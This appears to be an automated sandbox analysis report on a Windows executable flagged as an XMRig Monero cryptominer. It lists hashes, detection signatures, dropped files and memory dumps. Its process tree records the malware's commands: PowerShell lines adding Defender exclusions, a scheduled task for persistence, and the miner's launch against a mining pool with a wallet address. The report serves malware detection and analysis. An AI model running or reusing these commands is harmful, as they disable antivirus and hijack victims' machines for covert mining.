Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20230621-en
  • resource tags

    arch:x64arch:x86image:win7-20230621-enlocale:en-usos:windows7-x64system
  • submitted
    01-07-2023 08:08

General

  • Target

    file.exe

  • Size

    1.3MB

  • MD5

    07176d129de6501a6c733701ce76fd4e

  • SHA1

    20837ae94fffc7cc9df911f7d0ed23cc9c877007

  • SHA256

    89d97e29a3a8e5b5f1eae6e94ad6f24c03db2cdeac0c08233dd05193ec6c8699

  • SHA512

    8f6325a244181b04f29d301249aa7184d582546ecf35bf00a3fd3c34219464e9bc91be42e9a87177eea9c541df494b1ad77f2f0294b741a8f5c92a570a765465

  • SSDEEP

    12288:pG1mg2jJvz/oxbDXR4Nd9YWYaV+lmI0GNHXzvxkMHafenJ34mUw5G3riXcYwbY2p:pqmLFoP4Nr2H10m0GxKLjSKio

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 11 IoCs
  • .NET Reactor proctector 5 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1284
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1088
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2044
    • C:\Windows\system32\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp76C6.tmp.bat""
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1796
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:1636
      • C:\ProgramData\BackUp\RKGME.exe
        "C:\ProgramData\BackUp\RKGME.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1332
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1564
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1212
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "RKGME" /tr "C:\ProgramData\BackUp\RKGME.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1680
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "RKGME" /tr "C:\ProgramData\BackUp\RKGME.exe"
            5⤵
            • Creates scheduled task(s)
            PID:1616
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe -o xmr-eu1.nanopool.org:14433 -u 87N2CazJHoaY8ofHfhpKfj2SGmfMDHPXkgZNgeArkrabCc8vC81NNzxdN6Rjfemw5TGmZ2vbDrC6wDxqdGf7eqqYVBUpMZD --tls --coin monero --max-cpu-usage=50 --donate-level=1 -opencl
          4⤵
            PID:2008

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\BackUp\RKGME.exe

      Filesize

      478.1MB

      MD5

      1106791674a9ce4254b57dc94a54d731

      SHA1

      d9b41895c0a8b29be260210ba6c92bd65759d341

      SHA256

      0949bcfdc7627f835d6c63bbfb3533928036dd7b90bf0742e27f01bf72b1fae0

      SHA512

      874f3e5030110bbd8d9823ba35c20913d89afaeff66e95ec77658f7318890025d93c7b2d7f5dc31ee954caf3ee662e76fa7d927ab42cc7047ade098047dc787e

    • C:\ProgramData\BackUp\RKGME.exe

      Filesize

      534.8MB

      MD5

      d54a63ec590b531fcc4e524393b18794

      SHA1

      072592970007872cfebcedcb89f767aa67150c81

      SHA256

      992719bee786d61d5f27a14490ff2820f678a7045626dd7e84697be63ac635fd

      SHA512

      2b6b70bb54964cd305ee8365d34655fde38248cbe57158f0ef6ec326ae76eec415f774a879acb6698c5ce539de21f94e87b19fa9a110cdcd348005f4e50c903a

    • C:\Users\Admin\AppData\Local\Temp\tmp76C6.tmp.bat

      Filesize

      140B

      MD5

      88139bf949b404f2feff7ec99a3f8e09

      SHA1

      99458d4d9e508a49e28330e2ddb53bc27530a48f

      SHA256

      a865412904abcdea80c50e9c81cbc2eb30d094e1ae7d00441f113c0c15931e16

      SHA512

      f63e1342ba94bedfb6b32f06d75efdc95800d60d25157678f2ab29d77b078583ce9dcb1d828242308ad21ebfaa8fc8498b0c9d3dbfa30e3b9dcdd485297dbac1

    • C:\Users\Admin\AppData\Local\Temp\tmp76C6.tmp.bat

      Filesize

      140B

      MD5

      88139bf949b404f2feff7ec99a3f8e09

      SHA1

      99458d4d9e508a49e28330e2ddb53bc27530a48f

      SHA256

      a865412904abcdea80c50e9c81cbc2eb30d094e1ae7d00441f113c0c15931e16

      SHA512

      f63e1342ba94bedfb6b32f06d75efdc95800d60d25157678f2ab29d77b078583ce9dcb1d828242308ad21ebfaa8fc8498b0c9d3dbfa30e3b9dcdd485297dbac1

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      85f692224f94b768b6d0f147d74e605a

      SHA1

      59b79bdf8f6bf03fe50ae1e0af95442c7e60d0fd

      SHA256

      603cacdf6c829da9b8d94dc09a271bb6eb49b89de774b59779e78d04ad94d239

      SHA512

      d6270e75c851f95535a26de33adb817585ebfd0d12ec9d09c75fdecfa2ea86d7b97eecf45a3475d00d2923f09ebd0133de54e6d68ae0f8f44e36c7415d80a21c

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      85f692224f94b768b6d0f147d74e605a

      SHA1

      59b79bdf8f6bf03fe50ae1e0af95442c7e60d0fd

      SHA256

      603cacdf6c829da9b8d94dc09a271bb6eb49b89de774b59779e78d04ad94d239

      SHA512

      d6270e75c851f95535a26de33adb817585ebfd0d12ec9d09c75fdecfa2ea86d7b97eecf45a3475d00d2923f09ebd0133de54e6d68ae0f8f44e36c7415d80a21c

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      85f692224f94b768b6d0f147d74e605a

      SHA1

      59b79bdf8f6bf03fe50ae1e0af95442c7e60d0fd

      SHA256

      603cacdf6c829da9b8d94dc09a271bb6eb49b89de774b59779e78d04ad94d239

      SHA512

      d6270e75c851f95535a26de33adb817585ebfd0d12ec9d09c75fdecfa2ea86d7b97eecf45a3475d00d2923f09ebd0133de54e6d68ae0f8f44e36c7415d80a21c

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9FQ92277A7XOCMWJAQDN.temp

      Filesize

      7KB

      MD5

      85f692224f94b768b6d0f147d74e605a

      SHA1

      59b79bdf8f6bf03fe50ae1e0af95442c7e60d0fd

      SHA256

      603cacdf6c829da9b8d94dc09a271bb6eb49b89de774b59779e78d04ad94d239

      SHA512

      d6270e75c851f95535a26de33adb817585ebfd0d12ec9d09c75fdecfa2ea86d7b97eecf45a3475d00d2923f09ebd0133de54e6d68ae0f8f44e36c7415d80a21c

    • \ProgramData\BackUp\RKGME.exe

      Filesize

      584.8MB

      MD5

      e51f0d51a44094924a2519a715f6b213

      SHA1

      597e718efd748c74226d0ff74959e858889c092f

      SHA256

      552c1f5125280ee8343d44c5b1e7f16799541d6bd80bae282bf9ea9fd3df9beb

      SHA512

      e8555cdd12dc3c5375440187e61f14f48b4a38b84a5265b08d791b70ff5061dd1ea5c2a9dc2d79b88334e354d10403f64e9760c5283df9d208375fb446d333f8

    • memory/1088-74-0x00000000023FB000-0x0000000002432000-memory.dmp

      Filesize

      220KB

    • memory/1088-73-0x00000000023F0000-0x0000000002470000-memory.dmp

      Filesize

      512KB

    • memory/1088-70-0x00000000023F0000-0x0000000002470000-memory.dmp

      Filesize

      512KB

    • memory/1088-69-0x00000000023F0000-0x0000000002470000-memory.dmp

      Filesize

      512KB

    • memory/1088-65-0x000000001B1B0000-0x000000001B492000-memory.dmp

      Filesize

      2.9MB

    • memory/1212-108-0x0000000002920000-0x00000000029A0000-memory.dmp

      Filesize

      512KB

    • memory/1212-110-0x0000000002920000-0x00000000029A0000-memory.dmp

      Filesize

      512KB

    • memory/1212-111-0x0000000002920000-0x00000000029A0000-memory.dmp

      Filesize

      512KB

    • memory/1212-115-0x0000000002920000-0x00000000029A0000-memory.dmp

      Filesize

      512KB

    • memory/1284-76-0x000000001BA60000-0x000000001BAE0000-memory.dmp

      Filesize

      512KB

    • memory/1284-67-0x000000001BA60000-0x000000001BAE0000-memory.dmp

      Filesize

      512KB

    • memory/1284-54-0x0000000000220000-0x0000000000372000-memory.dmp

      Filesize

      1.3MB

    • memory/1284-68-0x00000000003A0000-0x00000000003A1000-memory.dmp

      Filesize

      4KB

    • memory/1332-92-0x000000001BF40000-0x000000001BFC0000-memory.dmp

      Filesize

      512KB

    • memory/1332-93-0x0000000000740000-0x0000000000741000-memory.dmp

      Filesize

      4KB

    • memory/1332-91-0x0000000000950000-0x0000000000AA2000-memory.dmp

      Filesize

      1.3MB

    • memory/1564-101-0x000000001B420000-0x000000001B702000-memory.dmp

      Filesize

      2.9MB

    • memory/1564-114-0x0000000002890000-0x0000000002910000-memory.dmp

      Filesize

      512KB

    • memory/1564-106-0x0000000002890000-0x0000000002910000-memory.dmp

      Filesize

      512KB

    • memory/1564-113-0x0000000002890000-0x0000000002910000-memory.dmp

      Filesize

      512KB

    • memory/1564-107-0x0000000001ED0000-0x0000000001ED8000-memory.dmp

      Filesize

      32KB

    • memory/2008-128-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/2008-126-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/2008-138-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/2008-137-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/2008-119-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/2008-120-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/2008-121-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/2008-122-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/2008-123-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/2008-124-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/2008-125-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/2008-136-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/2008-127-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/2008-135-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/2008-129-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/2008-130-0x000007FFFFFD9000-0x000007FFFFFDA000-memory.dmp

      Filesize

      4KB

    • memory/2008-131-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/2008-133-0x0000000140000000-0x00000001407C9000-memory.dmp

      Filesize

      7.8MB

    • memory/2008-134-0x00000000002E0000-0x0000000000300000-memory.dmp

      Filesize

      128KB

    • memory/2044-75-0x000000000241B000-0x0000000002452000-memory.dmp

      Filesize

      220KB

    • memory/2044-71-0x0000000002410000-0x0000000002490000-memory.dmp

      Filesize

      512KB

    • memory/2044-66-0x00000000023E0000-0x00000000023E8000-memory.dmp

      Filesize

      32KB

    • memory/2044-72-0x0000000002410000-0x0000000002490000-memory.dmp

      Filesize

      512KB